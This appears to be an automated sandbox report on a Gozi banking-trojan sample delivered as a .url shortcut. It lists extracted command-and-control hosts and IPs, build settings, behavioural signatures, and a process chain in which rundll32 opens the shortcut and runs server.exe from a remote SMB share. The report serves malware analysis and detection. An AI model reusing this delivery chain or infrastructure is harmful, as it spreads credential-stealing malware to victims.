Analysis

  • max time kernel
    142s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2023, 18:53

General

  • Target
    Cliente/Cliente.url
  • Size 194B
  • Sample230322-xjmcjacf2v
  • SHA256 ef74e678ded46b0d5f69622154c95e5ea9f053cc9d0d47e10ca7b19a2b3e5981
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Botnet
  • 7715

C2
  • checklist.skype.com

  • 62.173.142.50

  • 31.41.44.87

  • 109.248.11.217

  • 212.109.218.151

  • 5.44.45.83

  • 62.173.142.81

  • 193.233.175.113

  • 109.248.11.184

  • 212.109.218.26

  • 185.68.93.7

Attributes
  • base_path

    /drew/

  • build

    250255

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family
  • gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente\Cliente.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1532
    • \??\UNC\109.248.11.225\Agenzia\server.exe
      "\\109.248.11.225\Agenzia\server.exe"
      2⤵
        PID:1852

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1852-134-0x0000000000770000-0x000000000077B000-memory.dmp

          memory/1852-135-0x0000000002270000-0x000000000227D000-memory.dmp

          memory/1852-138-0x0000000000400000-0x00000000004DA000-memory.dmp